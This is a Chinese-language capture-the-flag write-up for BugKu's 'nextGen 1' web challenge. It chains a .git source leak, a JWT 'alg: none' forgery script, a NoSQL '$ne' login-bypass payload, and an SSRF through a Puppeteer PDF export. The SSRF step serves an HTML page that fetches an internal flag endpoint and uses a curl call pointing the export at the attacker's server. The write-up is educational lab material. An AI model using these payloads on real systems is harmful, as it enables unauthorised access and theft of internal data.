1. 第一眼:一个看起来平平无奇的笔记站
1.1 环境与目标
在 BugKu 刷到 nextGen 系列的时候,第一感觉是题目名字有点意思。比起以往那种一眼就知道考点的题目,nextGen 1 更像是在尝试把多个现代 Web 安全问题串起来。环境是一个跑在 Node.js 上的“在线笔记/博客”应用,访问靶机地址后,页面只有一个简单的文章列表、一个登录框和一个注册入口。界面干净得有点反常,通常这种“功能越少越难搞”的题,突破口往往藏在源码或者某个不起眼的接口里。
目标是拿 flag,但没有任何提示。按照 CTF 的习惯,先从信息收集开始,确认技术栈、目录结构、可能存在的源码泄露,再一步步缩小攻击面。这一阶段我用到的工具不多:Burp Suite、dirsearch、一个顺手写的 Python 小脚本,再加上耐心。
1.2 信息收集的复现过程
打开靶机地址,浏览器访问首页,F12 看响应头。X-Powered-By: Express 直接暴露了运行环境,这意味着后面的逻辑基本可以按 Node.js 生态的常见漏洞来思考。页面源码里没有明显的注释、隐藏链接或 base64 之类的东西,文章列表是从后端接口拉取的,接口路径大概是 /api/articles,返回 JSON 数据。
接着试了几个常规路径:/robots.txt 返回 404,/admin 跳转到 /login,/api 返回 401。用 dirsearch 跑一轮目录扫描,等了一两分钟,结果里出现了两个有价值的目标:
/.git/HEAD,状态 200,内容为ref: refs/heads/master/login、/register、/api/auth/login这些常规接口
看到 /.git/HEAD 时基本可以确定存在 Git 源码泄露。这个点比较老,但在 Node.js 项目里依然常见,尤其是部署时直接 git clone 到 web 根目录,没有做访问限制。很多人会忽略 .git 目录,但对做 CTF 的人来说,这就是宝藏入口。
1.3 源码泄露:.git 带来的突破口
确认 .git 目录可访问后,我用 git-dumper 把整个仓库拉了下来。工具用法很简单:
bash复制git-dumper http://<target>/.git/ ./repo
如果本地没装,也可以直接用 wget 递归抓取,但速度会慢很多,强烈建议优先用 git-dumper。拉取完成后,git log --oneline 只看到一个 commit,说明题目没有在历史提交里藏额外信息,源码就是当前版本。
项目结构如下:
code复制app.js
config.js
package.json
routes/
auth.js
index.js
api.js
utils/
auth.js
models/
User.js
views/
login.html
dashboard.html
把 package.json 打开看了看,依赖里有 express、mongodb、jsonwebtoken、puppeteer。看到 puppeteer 的时候我多留了个心眼,这个库一般用于生成 PDF 或截图,出现它往往意味着存在 SSRF 方向的功能点。后面的解题过程也验证了这个猜测。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 源码审计:从 JWT 到管理员权限的完整链路
2.1 应用架构与鉴权逻辑梳理
拉下来的源码很完整,app.js 里配置了 Express 中间件和路由,MongoDB 连接串写死在 config.js,用户名密码直接明文存,没看到密码哈希处理,说明题目在故意构造一个“开发者安全意识不足”的环境。
核心逻辑集中在三个文件:
routes/auth.js:注册、登录、签发 tokenroutes/api.js:文章列表、导出 PDF、获取内部 flag 等接口utils/auth.js:JWT 签名与验证中间件
重点看 utils/auth.js。代码我简化了一下,差不多是下面这个样子:
javascript复制const jwt = require('jsonwebtoken');
const config = require('../config');
function signToken(user) {
return jwt.sign(
{ username: user.username, role: user.role },
config.jwtSecret,
{ expiresIn: '1h' }
);
}
function verifyToken(token) {
const decoded = jwt.decode(token, { complete: true });
if (decoded.header.alg === 'none') {
return decoded.payload;
}
return jwt.verify(token, config.jwtSecret);
}
module.exports = { signToken, verifyToken };
这里有个非常典型的逻辑错误:verifyToken 在验证前先解码 token 的 header,然后判断 alg 是否为 none。如果攻击者自己构造一个 alg 为 none 的 token,那么验证函数会直接返回 token 的 payload,完全不校验签名。这就是 JWT 算法混淆攻击中的 alg: none 场景。
2.2 JWT none 攻击的原理和前提
JWT 本身的结构是 header.payload.signature,header 里有一个 alg 字段,表示签名算法。正常流程中,签发方用某个算法(比如 HS256)生成签名,验证方用相同算法和密钥验证签名。但很多开发者在实现验证时,会先对 header 里的 alg 做信任,甚至直接使用 header 里的算法进行验签。
如果验证代码接受了 none 算法,说明它允许无签名 token。此时攻击者只需要将 header 里的 alg 改为 none,signature 部分留空,即可伪造任意身份。前提是验证方没有在代码里限制允许的算法列表,也没有在读到 alg: none 时直接拒绝。
这道题就是如此。我的攻击思路很明确:先注册一个普通用户,登录后拿到一个合法 token,然后把这个 token 的 header 和 payload 取出并重新编码为 alg: none,替换 username 和 role 为 admin 和 admin,再去访问需要管理员权限的接口。
2.3 构造伪造 token 的实操脚本
Python 里可以用 base64.urlsafe_b64encode 来生成 JWT 的各个部分。注意 JWT 的 Base64URL 编码会把标准的 +、/、= 替换成 -、_ 和去掉填充符,所以不能直接用普通 base64 模块,要稍微处理一下。脚本如下:
python复制import base64
import json
def b64url_encode(data: dict) -> str:
raw = json.dumps(data, separators=(',', ':')).encode()
return base64.urlsafe_b64encode(raw).rstrip(b'=').decode()
header = {"alg": "none", "typ": "JWT"}
payload = {"username": "admin", "role": "admin", "iat": 1750000000, "exp": 1850000000}
token = b64url_encode(header) + "." + b64url_encode(payload) + "."
print(token)
执行后得到类似于 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0. 的 token。注意末尾那个点就是空签名,不能省。
带着这个 token 去请求 /api/export?url=...,如果服务器返回 200 而不是 401,说明伪造成功。实测中,这一步我一开始卡了很久,因为 token 的 payload 里还带了 iat 和 exp,一开始我把过期时间填错了,导致验证函数虽然跳过了签名校验,但中间件里额外检查了过期时间,直接返回 401。所以伪造 token 时一定要把时间字段也处理好,最简单的办法是把 exp 设到一个很大的值。
2.4 顺手验证 NoSQL 注入的备份路线
除了 JWT,登录逻辑里其实还有一个 NoSQL 注入点。routes/auth.js 里登录的代码大致是:
javascript复制app.post('/api/auth/login', async (req, res) => {
const { username, password } = req.body;
const user = await db.collection('users').findOne({ username, password });
if (user) {
const token = signToken(user);
res.json({ token });
} else {
res.status(401).send('login failed');
}
});
问题在于 req.body 是 JSON,如果直接传给 MongoDB 查询,字段值可以是对象,而不仅仅是字符串。比如发送:
json复制{"username": {"$ne": null}, "password": {"$ne": null}}
查询语句就变成了 findOne({ username: { $ne: null }, password: { $ne: null } }),意思是“找到一个用户名不为空且密码不为空的用户”。如果数据库里存在管理员账号,这个条件就会返回管理员用户,从而绕过登录。
这个点可以作为拿到普通 token 的备用路径。但即便拿到普通用户 token,由于 verifyToken 的 alg: none 漏洞存在,我们也不需要真正登录 admin 账号。所以我在解题时把 NoSQL 注入作为额外验证,实际攻击路径还是选择了 JWT 伪造。
3. PDF 导出引发的 SSRF:内网 flag 的最终获取
3.1 定位导出功能的核心参数
从源码里看到了 puppeteer,也看到了一个专门导出 PDF 的路由。路由定义在 routes/api.js,逻辑大概是:
javascript复制app.get('/api/export', authRequired, async (req, res) => {
const url = req.query.url;
if (!url.startsWith('http://') && !url.startsWith('https://')) {
return res.status(400).send('invalid url');
}
const browser = await puppeteer.launch({ args: ['--no-sandbox'] });
const page = await browser.newPage();
await page.goto(url, { waitUntil: 'networkidle2' });
const pdfBuffer = await page.pdf({ format: 'A4' });
await browser.close();
res.setHeader('Content-Type', 'application/pdf');
res.send(pdfBuffer);
});
这个接口需要登录态,且 authRequired 中间件会校验 JWT。我们上一节的伪造 token 就是为这里准备的。接口允许传入一个 url 参数,且只做了前缀判断,只要是 http:// 或 https:// 开头即可。这意味着可以传入内网地址,由 Puppeteer 去访问。
3.2 从源码中找内网服务
直接访问外网地址的 PDF 没有意义,我的目标是访问内网的 flag 服务。继续翻源码,果然在 config.js 里看到一个内部服务地址:
json复制{
"internalBase": "http://127.0.0.1:8080",
"internalToken": "bugku_nextgen_internal_2024"
}
接着在 routes/api.js 里发现一个 /internal/flag 路由,但它在主应用之外,由另一个 HTTP 服务提供,并且只监听 127.0.0.1。代码里写着:
javascript复制const internalApp = express();
internalApp.get('/flag', (req, res) => {
const internalToken = req.get('X-Internal-Token');
if (internalToken === config.internalToken) {
res.send(fs.readFileSync('/flag.txt', 'utf8'));
} else {
res.status(403).send('forbidden');
}
});
外部网络无法直接访问 127.0.0.1:8080,但 Puppeteer 是在靶机本地运行的,它去访问 http://127.0.0.1:8080/flag 就相当于从内网发起请求。不过直接访问会因为缺少 X-Internal-Token 头而返回 403。这个问题怎么绕过呢?
3.3 利用 Puppeteer 发起带自定义头的请求
通常 page.goto(url) 无法设置自定义请求头,但 Puppeteer 提供了 page.setExtraHTTPHeaders() 方法。虽然导出接口没有开放这个功能,但我们可以通过传入一个包含 JavaScript 的 HTML 页面来间接完成。思路是:先构造一个数据 URL 或我们可控的 HTML 页面,然后让该页面内部的 fetch 请求带上自定义 header 去访问内网服务,把结果写到 DOM 中,最后 Puppeteer 生成 PDF 时就会把这个结果渲染出来。
不过这个接口只允许 http:// 和 https:// 开头的 URL,不能直接传 data:。为此,我搭了一个临时 HTTP 服务,在本地放一个 exploit.html,内容如下:
html复制<html>
<body>
<script>
fetch('http://127.0.0.1:8080/flag', {
headers: { 'X-Internal-Token': 'bugku_nextgen_internal_2024' }
}).then(r => r.text()).then(flag => {
document.body.innerHTML = '<h1>' + flag + '</h1>';
});
</script>
</body>
</html>
然后调用导出接口,把 url 指向我的临时服务器:
bash复制curl -H "Authorization: Bearer <fake_admin_token>" "http://<target>/api/export?url=http://<my_server>/exploit.html" -o flag.pdf
Puppeteer 打开我提供的页面,页面里的 JavaScript 在靶机上执行,目标地址是 127.0.0.1:8080,也就绕过了网络隔离。同时因为代码里带了正确的 X-Internal-Token,内网服务返回了 flag 内容,并渲染到页面上。最终生成的 PDF 里就有 flag。
3.4 为什么 PDF 功能会成为 SSRF 的高发区
很多人不理解,一个生成 PDF 的功能为什么会有这么大的风险。关键在于 Puppeteer 启动的是一个真正的无头浏览器,它具备完整的网络访问能力。开发者只想到了“把用户给的 URL 拿来截图、打印 PDF”,却忘了这个浏览器是运行在服务器内网环境中的,能够访问数据库、内部管理系统、云元数据服务等敏感资源。
从攻击者的角度看,这类 PDF 生成功能就是天然的 SSRF 跳板。相比普通的 curl 后端服务,Puppeteer 还能执行 JavaScript、支持自定义 header、处理重定向,利用面更广。这也是为什么现在很多 SRE 安全审查都会把“服务器端渲染/打印”功能列为高危风险点。
拿到 flag 后,整个攻击链就完整了:
- 通过
.git泄露获取源码 - 审计源码发现 JWT 验证逻辑缺陷,构造
alg: nonetoken 获得管理员权限 - 利用管理员的 PDF 导出功能构造 SSRF
- 将内网服务返回的内容回传到 PDF 中,最终读取 flag
4. 这道题教会我的:踩坑记录与经验沉淀
4.1 三个最容易卡住的细节
整个解题过程大概花了大半天,其中有三个细节最容易被忽略,单独拿出来说。
第一是 .git 目录的完整拉取。很多新手会用浏览器直接访问 /.git/config 或 /.git/HEAD,看到内容就以为源码拿到了,实际上真正的代码对象都在 .git/objects 目录下,而且是压缩后的二进制格式。只凭肉眼根本无法还原成可读文件。正确做法是用 git-dumper 把整个 .git 目录完整下载到本地,然后当成一个本地仓库来查看。如果不小心只抓了个半成品,git status 会提示对象缺失,这种时候要回靶机把缺失的对象补下,否则代码是不完整的。
第二是 JWT token 的格式。alg: none 攻击中,token 的 header 必须经过 Base64URL 编码,并且去掉所有 = 填充符。常规 Python 的 base64.b64encode 生成的是标准 Base64,里面可能包含 + 和 /,在 JWT 里会导致解析失败。我一开始用错编码方式,请求一直被拒绝,后来改成 urlsafe_b64encode 并额外处理填充符才成功。另一个容易踩的坑是 Payload 里的过期时间。有些代码会检查 exp,如果伪造 token 的过期时间小于当前时间,即使绕过了签名校验,也会在后续中间件中被拦截。
第三是 PDF 导出服务的外部可控性。如果漏洞点真的存在,直接使用 page.goto(url) 访问内网,可能因为内网服务需要自定义 header 而失败。这种情况下,你不应该想着怎么给 goto 加 header,而是考虑利用目标自身的 JavaScript 执行能力。我上面用临时页面外带的方式,虽然多了一步搭服务器的操作,但比直接访问可靠得多。
4.2 同类题目的扩展思路
复盘这道题时,我意识到 nextGen 1 把几个独立的考点串成了一条攻击链。这种出题方式在真实 CTF 里越来越常见,因为单点漏洞已经不足以代表当前的 Web 安全形势。
从这道题可以延伸出很多变体:
.git泄露变成了.svn泄露或数据库备份文件泄露JWT的alg: none变成了弱密钥爆破,或者 RS256/HS256 算法混淆NoSQL 注入出现在登录、搜索、排序等多个场景PDF 导出变成了HTML 转图片、Office 在线预览等功能- 内网服务可能需要
Authorization、Cookie、Host头或 HTTP 方法限制
以后遇到 Node.js 项目,我会优先检查三件事:package.json 里有哪些依赖、是否支持从 body 里传对象、是否存在文件转码/导出功能。这三件事对应着 NoSQL 注入、原型链污染和 SSRF 三类问题,在真实业务里同样高发。
4.3 给新人的建议
很多人做 Web 题喜欢直接上扫描器、跑字典,但碰到这种前后端分离的 Node.js 应用,源码审计能力才是最关键的。信息收集阶段多花一点时间在 .git、/.svn、备份文件、源代码压缩包上,往往能让你从“盲打”变成“明牌”。
JWT 相关的攻击手法也需要系统性地训练。alg: none、弱密钥爆破、算法混淆,这三种攻击并不复杂,但很多教程只会讲概念,不会告诉你实际构造 token 时 Base64URL 编码和缺失签名的细节。建议自己写一个简单的本地环境,把上述三种攻击都复现一遍,踩过坑之后印象会比看十篇文章都深刻。
SSRF 的利用同样值得深入练习。不要只会访问 http://127.0.0.1/flag,还要知道怎么读取云元数据、怎么利用 file:// 协议、怎么做端口扫描、怎么配合 Gopher 协议打内网 Redis、怎么利用 DNS Rebinding 绕过 URL 校验。这道题里虽然只用到了最简单的内网访问,但以后遇到的题目不会总是这么温柔。
最后再提一句工具链。我在解题过程中用到的工具不多,但每一项都发挥了作用:git-dumper 是源码获取的功臣,Burp Suite 帮我拦截和重放了请求,Python 脚本快速生成了伪造的 JWT token,临时 HTTP 服务帮助完成了 SSRF 外带。没有一个工具是万能的,组合起来才高效。平时可以多写一些小脚本积累在自己的工具箱里,比赛或做题时能省很多时间。
这道题整体不算难,但环环相扣的设计很考验耐心。从信息收集到源码审计,从 JWT 伪造到 SSRF 外带,每一步都必须建立在前面正确的基础上。也正因为如此,解完之后对 Node.js 安全的理解会提升不少,遇到类似的现代 Web 应用时也能更快找到切入点。
